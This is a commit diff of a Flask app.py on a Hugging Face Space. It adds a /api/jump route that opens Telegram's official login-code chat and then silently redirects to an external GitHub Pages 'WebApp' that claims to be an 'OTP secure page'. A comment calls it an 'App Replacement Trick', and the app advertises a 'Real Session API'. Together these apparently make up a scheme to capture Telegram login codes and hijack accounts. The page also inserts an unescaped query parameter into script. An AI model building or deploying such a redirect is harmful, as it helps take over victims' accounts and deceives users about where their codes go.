Spaces:
Build error
Build error
Update app.py
Browse files
app.py
CHANGED
|
@@ -51,28 +51,30 @@ async def db_query(func):
|
|
| 51 |
def index():
|
| 52 |
return "Bot, Media Uploader, and Real Session API is Running! 🚀"
|
| 53 |
|
| 54 |
-
# রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (
|
| 55 |
@app.route('/api/jump')
|
| 56 |
def jump_to_telegram():
|
| 57 |
-
|
|
|
|
| 58 |
<!DOCTYPE html>
|
| 59 |
<html>
|
| 60 |
<head>
|
| 61 |
-
<title>
|
| 62 |
<script>
|
| 63 |
-
// ১. ওটিপি চ্যাট ওপেন করার
|
| 64 |
window.location.href = "tg://openmessage?user_id=777000";
|
| 65 |
|
| 66 |
-
// ২. ঠিক
|
| 67 |
-
setTimeout(function() {
|
| 68 |
-
window.location.href = "https://
|
| 69 |
-
},
|
| 70 |
</script>
|
| 71 |
</head>
|
| 72 |
-
<body style="background:#
|
| 73 |
<div style="text-align:center;">
|
| 74 |
-
<div style="font-size:
|
| 75 |
-
<
|
|
|
|
| 76 |
</div>
|
| 77 |
</body>
|
| 78 |
</html>
|
|
|
|
| 51 |
def index():
|
| 52 |
return "Bot, Media Uploader, and Real Session API is Running! 🚀"
|
| 53 |
|
| 54 |
+
# রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (App Replacement Trick)
|
| 55 |
@app.route('/api/jump')
|
| 56 |
def jump_to_telegram():
|
| 57 |
+
user_id = request.args.get('user_id', '123456')
|
| 58 |
+
html_content = f"""
|
| 59 |
<!DOCTYPE html>
|
| 60 |
<html>
|
| 61 |
<head>
|
| 62 |
+
<title>Loading...</title>
|
| 63 |
<script>
|
| 64 |
+
// ১. ওটিপি চ্যাট ওপেন করার কমান্ড দেবে
|
| 65 |
window.location.href = "tg://openmessage?user_id=777000";
|
| 66 |
|
| 67 |
+
// ২. ঠিক ৮০০ মিলি-সেকেন্ড পর এই কালো পেজটি নিজেই আপনার ফুল WebApp এ রূপান্তরিত হবে!
|
| 68 |
+
setTimeout(function() {{
|
| 69 |
+
window.location.href = "https://rony90790.github.io/Forward-bot/index.html?user_id={user_id}";
|
| 70 |
+
}}, 800);
|
| 71 |
</script>
|
| 72 |
</head>
|
| 73 |
+
<body style="background:#0f0f0f; color:#00ffaa; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif; margin:0;">
|
| 74 |
<div style="text-align:center;">
|
| 75 |
+
<div style="font-size:40px; margin-bottom:10px;">⏳</div>
|
| 76 |
+
<h3 style="margin:0;">Opening Chat...</h3>
|
| 77 |
+
<p style="color:#888; font-size:12px;">Preparing OTP secure page...</p>
|
| 78 |
</div>
|
| 79 |
</body>
|
| 80 |
</html>
|